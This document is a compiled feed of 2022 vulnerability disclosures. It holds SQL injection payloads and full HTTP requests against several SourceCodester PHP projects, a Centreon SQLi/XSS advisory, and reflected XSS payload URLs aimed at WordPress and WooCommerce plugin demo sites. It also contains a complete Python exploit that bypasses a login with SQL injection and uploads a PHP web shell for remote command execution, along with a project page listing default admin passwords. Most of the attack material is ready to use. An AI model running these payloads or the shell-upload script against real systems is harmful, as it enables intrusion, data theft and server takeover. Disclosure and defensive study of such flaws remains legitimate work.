Online Tours & Travels Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /admin/update_expense.php.

**Online Tours & Travels management system v1.0 by mayuri\_k has SQL injection**

BUG\_Author: Wybsignal

Login account: mayuri.infospace@gmail.com/admin (Super Admin account)

vendors: https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /tour/admin/update\_expense.php

Vulnerability location: /tour/admin/update\_expense.php?id=, id

dbname = tour1

\[+\] Payload: /tour/admin/update\_expense.php?id=1%27%20union%20select%201,database(),3,4,5--+ // Leak place ---> id

GET /tour/admin/update\_expense.php?id\=1%27%20union%20select%201,database(),3,4,5\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=g29omi7f91g3h7ud1uhq6rbmkv
Connection: close

CVE-2022-40098: Bug_report/SQLi-2.md at main · WYB-signal/Bug_report

Sourcecodester Online Market Place Site 1.0 is vulnerable to Cross Site Scripting (XSS), allowing attackers to register as a Seller then create new products containing XSS payloads in the 'Product Title' and 'Short Description' fields.

Submitted by oretnom23 on Tuesday, April 12, 2022 - 17:21.

****Introduction****

This simple project is an **Online Market Place Site in PHP**. This is a web-based application project developed in **PHP** and **MySQL Database**. This project is an online platform that allows sellers to publish their selling items. This simple site was inspired by the Facebook Market Place feature where sellers can even sell used items. The application has a pleasant user interface using the **Bootstrap v5 Framework** and **Material Kit Template**. It also consists of user-friendly features and functionalities.

****About the Online Market Place Site in PHP****

I developed this project using the following:

*   **XAMPP v3.3.0**
*   **PHP**
*   **MySQL Database**
*   **HTML**
*   **CSS**
*   **JavaScript**
*   **Ajax**
*   **jQuery**
*   **Bootstrap**
*   **Google Material Icon**
*   **Material Kit 2 Template**

This **Online Market Place Site in PHP** is composed of 3 User Interfaces which are the **Admin Panel**, **Seller Panel**, and **Public Site**. The **Admin Panel** is the side of the system where the system management can manage all the project data. **Admin Users** have the privilege to access and manage all the products or items that the seller published. They can also manage the list of users where they can update and delete sellers' data. The **Seller Panel** is the side of the system where the seller can manage their published items. The seller can add images and some information about the product that they are selling such as the item's specifications. They can set the quantity or stock that they have in each item they published. On the **Public Site**, site visitors or anonymous users can search for their desired product to check if someone posted a product that they wanted. Users can list all the available products and view each item's details. The posted product details also contain or display the seller's basic information and links where the possible buyer can contact them.

****Features********Admin-Side****

*   **Home Page**
    *   Display the summary of the list.
*   **Category Management**
    *   Add New Category
    *   List All Categories
    *   View Category Details
    *   Edit Category Details
    *   Delete Category Details
*   **User Management**
    *   Add New User
    *   List All Users
    *   View User Details
    *   Edit User Details
    *   Reset User Password
    *   Delete User Details
*   **Product Management**
    *   List All Products
    *   View Product Details
    *   Edit Product Details
    *   Delete Product Details
*   **Update System Information**
*   **Update Account Details/Credentials**
*   **Login and Logout**

****Seller-Side****

*   **Home Page**
    *   Display the summary of the list.
*   **Product Management**
    *   Add New Product
    *   List All Products
    *   View Product Details
    *   Edit Product Details
    *   Delete Product Details
*   **Update Account and Contact Details/Credentials**
*   **Login and Logout**

****Public-Side****

*   **Home Page**
    *   Display the Welcome Content.
*   **'About Us' Content**
*   **List All Available Products**
*   **View Product Details**
*   **Redirect to Seller's Website**
*   **Redirect to Seller's FB Page**
*   **Get Seller's Contact Details**
*   **Search Product**

The source code was developed only for educational purposes only. You can download the source code for free and modify it the way you wanted.

**System Snapshots of some Features******Public Site****

****Product List (Public-Side)****

****Product Details****

****Seller Registration Form****

****Seller Panel****

****Admin Panel****

**How to Run ??**

****Requirements****

*   **Download** and **Install** any **local web server** such as **XAMPP.**
*   **Download** the provided source code **zip** file. (_download button is located below_)
*   **Download** the project assets at https://www.dropbox.com/s/uc5o9fr9ejpeg5d/php\_omps\_assets.zip?dl=1

****System Installation/Setup****

1.  **Enable** the **GD Library** in your **php.ini** file.
2.  **Open** your **XAMPP Control Panel** and start ****Apache**** and ****MySQL****.
3.  **Extract** the **downloaded source code **zip** file**.
4.  **Copy** the extracted source code folder and **paste** it into the **XAMPP's "htdocs" directory**.
5.  **Extract** the **downloaded assets **zip** file**.
6.  **Copy** the extracted assets folder and **paste** it into the **source code** root path.
7.  **Browse** the ****PHPMyAdmin**** in a **browser**. i.e. ****http://localhost/phpmyadmin****
8.  **Create** a **new database** naming ****omps\_db****.
9.  **Import** the provided ****SQL**** file. The file is known as ****omps\_db.sql**** located inside the **database** folder.
10.  **Browse** the **Online Market Place Site in PHP** in a **browser**. i.e. ****http://localhost/omps/****.

****Admin Default Access:****

Username: **admin**  
Password: **admin123**

****Sample Seller Access:****

Username: **mcooper**  
Password: **mcooper123**

****DEMO VIDEO****

That's it. You can now explore the features and functionalities of this **Online Market Place Site in** **PHP**. I hope this will help you with what you are looking for and you'll find something useful for your future projects.

Explore more on this website for more **Free Source Codes** and **Tutorials**.

**Enjoy :)**

*   3428 views

CVE-2022-30003: Online Market Place Site in PHP/OOP Free Source Code

Centreon v20.10.18 was discovered to contain a cross-site scripting (XSS) vulnerability via the esc_name (Escalation Name) parameter at Configuration/Notifications/Escalations. This vulnerability allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload.

My name is Daniel França Lima, I’m a penetration tester Jr  and vulnerability researcher at Hakai Offensive Security. In order to help the hacking community, companies and also improve my skills, I periodically look for flaws in market applications with the goal of achieving responsible disclosure. 

Centreon is a system and network asset monitoring solution based on the Nagios standard, being open source, and allowing easy and effective installation and implementation, monitoring and performance management.

**Centreon partners**

When analyzing the application, it was possible to find a sql injection vulnerability in the esc\_name(Escalation Name) parameter located at “Configuration/Notifications/Escalations”.

**About SQL Injection:**

A SQL injection attack consists in manipulating SQL queries via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands. With this explanation in mind, we can move on to technical details.

When analyzing the requests, it was possible to notice that it was a blind-sql (a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response) more specifically a time-based attack in which the application’s response time is used. Below is a proof of concept.

It is also possible to exploit Cross-Site Scripting (XSS) in the same field explored for SQLi, thus making it possible to insert malicious javascript into the application..

**About Stored Cross-Site Scripting:**

In the same field mentioned earlier it was possible to find another vulnerability called Cross-Site Scripting (XSS). Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user’s data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application’s functionality and data.

**_Fixed versions:_**

– centreon-web-22.04.1

– centreon-web-21.10.8

– centreon-web-21.04.16

**_Time Line:_**

23-05 – Notified vendor.

24-05 – Vendor acknowledged disclosure.

04-08 – New versions of software released with patches

26-08 – Blog post release

CVE-2022-40044: Centreon SQLi and XSS Vulnerability

Use after free in WebSQL in Google Chrome prior to 105.0.5195.52 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

CVE-2022-3039

WordPress Forym plugin version 1.5.7 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : forym.xyz                                                                  ││  Vendor   : codecanyon.net                                                             ││  Software : Forym 1.5.7 - Modern Discussion Forum for Wordpress                        ││  Vuln Type: Reflected XSS                                                              ││  Method   : GET                                                                        ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘GET parameter 's' is vulnerable to XSShttps://forym.xyz/?s=ax0zq%22%3e%3cscript%3ealert(1)%3c%2fscript%3efkdbh[-] Done

WordPress Forym 1.5.7 Cross Site Scripting

WordPress Sabai Discuss plugin version 1.4.13 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : sabaidiscuss.com                                                           ││  Vendor   : Sabai Discuss                                                              ││  Software : Sabai Discuss - Q&A forum plugin V1.4.13 for WordPress                     ││  Vuln Type: Reflected XSS                                                              ││  Method   : GET                                                                        ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘GET parameter 'field_number[min]' is vulnerable to XSShttps://demo.sabaidiscuss.com/questions?category=77&filter=1&field_number[min]=33lnoiy%22%3e%3cscript%3ealert(1)%3c%2fscript%3epfucnGET parameter 'field_number[max]' is vulnerable to XSShttps://demo.sabaidiscuss.com/questions?category=77&filter=1&field_number[max]=33lnoiy%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3EpfucnGET parameter 'field_range[min]' is vulnerable to XSS https://demo.sabaidiscuss.com/questions?category=77&filter=1&field_range[min]=6dstzy%22%3e%3cscript%3ealert(1)%3c%2fscript%3eyl1zmGET parameter 'field_range[max]' is vulnerable to XSShttps://demo.sabaidiscuss.com/questions?category=77&filter=1&field_range[max]=6dstzy%22%3e%3cscript%3ealert(1)%3c%2fscript%3eyl1zm[-] Done

WordPress Sabai Discuss 1.4.13 Cross Site Scripting

Online Diagnostic Lab Management System version 1.0 remote exploit that bypasses login with SQL injection and then uploads a shell.

    # Exploit Title: Online Diagnostic Lab Management System - Remote Code Execution (RCE) (Unauthenticated)# Google Dork: N/A# Date: 2022-9-23# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11# Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/diagnostic_0.zip# Tested on: windows 11 - XAMPP# CVE : N/A# Version: 1.0# Authentication Required: bypass login with sql injection #/usr/bin/python3 import requests import osimport sysimport timeimport random# clean screenos.system("cls")os.system("clear")logo = '''###################################################################                                                                #  #    Exploit Script ( Online Diagnostic Lab Management System )  ##                                                                ###################################################################'''print(logo)url = str(input("Enter website url : "))username = ("' OR 1=1-- -")password = ("test")req = requests.Session()target = url+"/diagnostic/login.php"data = {'username':username,'password':password}website = req.post(target,data=data)files = open("rev.php","w")payload = "<?php system($_GET['cmd']);?>"files.write(payload)files.close()hash = random.getrandbits(128)name_file = str(hash)+".php"if "Login Successfully" in website.text:        print("[+] Login Successfully")    website_1 = url+"/diagnostic/php_action/createOrder.php"    upload_file = {         "orderDate": (None,""),        "clientName": (None,""),        "clientContact" : (None,""),        "productName[]" : (None,""),        "rateValue[]" : (None,""),        "quantity[]" : (None,""),        "totalValue[]" : (None,""),        "subTotalValue" : (None,""),        "totalAmountValue" : (None,""),        "discount" : (None,""),        "grandTotalValue" : (None,""),        "gstn" : (None,""),        "vatValue" : (None,""),        "paid" : (None,""),        "dueValue" : (None,""),        "paymentType" : (None,""),        "paymentStatus" : (None,""),        "paymentPlace" : (None,""),        "productImage" : (name_file,open("rev.php","rb"))        }     up = req.post(website_1,files=upload_file)    print("[+] Check here file shell => "+url+"/diagnostic/assets/myimages/"+name_file)    print("[+] can exect command here => "+url+"/diagnostic/assets/myimages/"+name_file+"?cmd=whoami")else:     print("[-] Check username or password")

Online Diagnostic Lab Management System 1.0 SQL Injection / Shell Upload

WooCommerce plugin BRW Booking Rental version 1.3.1 from Ovatheme suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : Ovatheme.com                                                               ││  Vendor   : Ovatheme                                                                   ││  Software : BRW - Booking Rental 1.3.1 Plugin WooCommerce                              ││  Vuln Type: Reflected XSS                                                              ││  Method   : GET                                                                        ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘GET parameter 'ovabrw_pickup_date' is vulnerable to XSShttps://demo.ovatheme.com/brw/?ovabrw_name_product=&cat=car&ovabrw_pickup_loc=Airport&ovabrw_pickoff_loc=Airport&ovabrw_pickup_date=[XSS]&ovabrw_pickoff_date=&ovabrw_attribute=color&color=blue&ovabrw_tag_product=&taxonomy_default1_name=&taxonomy_default2_name=&brw_hotel_type_name=&brw_car_year_name=&brw_boat_height_name=&brw_boat_width_name=&brw_bmw_model_name=&brw_ford_model_name=&order=ASC&orderby=date&ovabrw_search_product=ovabrw_search_product&ovabrw_search=search_item&post_type=productGET parameter 'ovabrw_pickoff_date' is vulnerable to XSShttps://demo.ovatheme.com/brw/?ovabrw_name_product=&cat=car&ovabrw_pickup_loc=Airport&ovabrw_pickoff_loc=Airport&ovabrw_pickup_date=&ovabrw_pickoff_date=[XSS]&ovabrw_attribute=color&color=blue&ovabrw_tag_product=&taxonomy_default1_name=&taxonomy_default2_name=&brw_hotel_type_name=&brw_car_year_name=&brw_boat_height_name=&brw_boat_width_name=&brw_bmw_model_name=&brw_ford_model_name=&order=ASC&orderby=date&ovabrw_search_product=ovabrw_search_product&ovabrw_search=search_item&post_type=productSome XSS Payloads Reflectedbbb4l%22%20onfocus%3dalert(1)%20autofocus%3d%20q9s9yne503%22%20onfocus%3dalert(1)%20autofocus%3d%20sg1gu[-] Done

WooCommerce BRW Booking Rental 1.3.1 Cross Site Scripting

Wedding Planner v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /wedding_details.php.

**Wedding Planner v1.0 by pushpam02 has SQL injection**

BUG\_Author: JunyuChen

vendors: https://www.sourcecodester.com/php/15375/wedding-planner-project-php-free-download.html

Vulnerability File: /Wedding-Management-PHP/wedding\_details.php?id=

Vulnerability location: /Wedding-Management-PHP/wedding\_details.php?id=, id

\[+\] Payload: /Wedding-Management-PHP/wedding\_details.php?id=-62%20union%20select%201,2,3,4,5,6,7,database(),9,10--+

dbname = dbwedding

GET /Wedding\-Management\-PHP/wedding\_details.php?id\=\-62%20union%20select%201,2,3,4,5,6,7,database(),9,10\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=ncd6h7doujvbbft46r0m7mbr6s
Connection: close

CVE-2022-40483: Bug_report/SQLi-1.md at main · Geoduck-CNN/Bug_report

Wedding Planner v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /package_detail.php.

Permalink

Cannot retrieve contributors at this time

**Wedding Planner v1.0 by pushpam02 has SQL injection**

BUG\_Author: JunyuChen

vendors: https://www.sourcecodester.com/php/15375/wedding-planner-project-php-free-download.html

Vulnerability File: /Wedding-Management-PHP/package\_detail.php?id=

Vulnerability location: /Wedding-Management-PHP/package\_detail.php?id=, id

\[+\] Payload: /Wedding-Management-PHP/package\_detail.php?id=-5%20union%20select%201,database(),3,4--+

dbname = dbwedding

GET /Wedding\-Management\-PHP/package\_detail.php?id\=\-5%20union%20select%201,database(),3,4\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=ncd6h7doujvbbft46r0m7mbr6s
Connection: close

Tag

#sql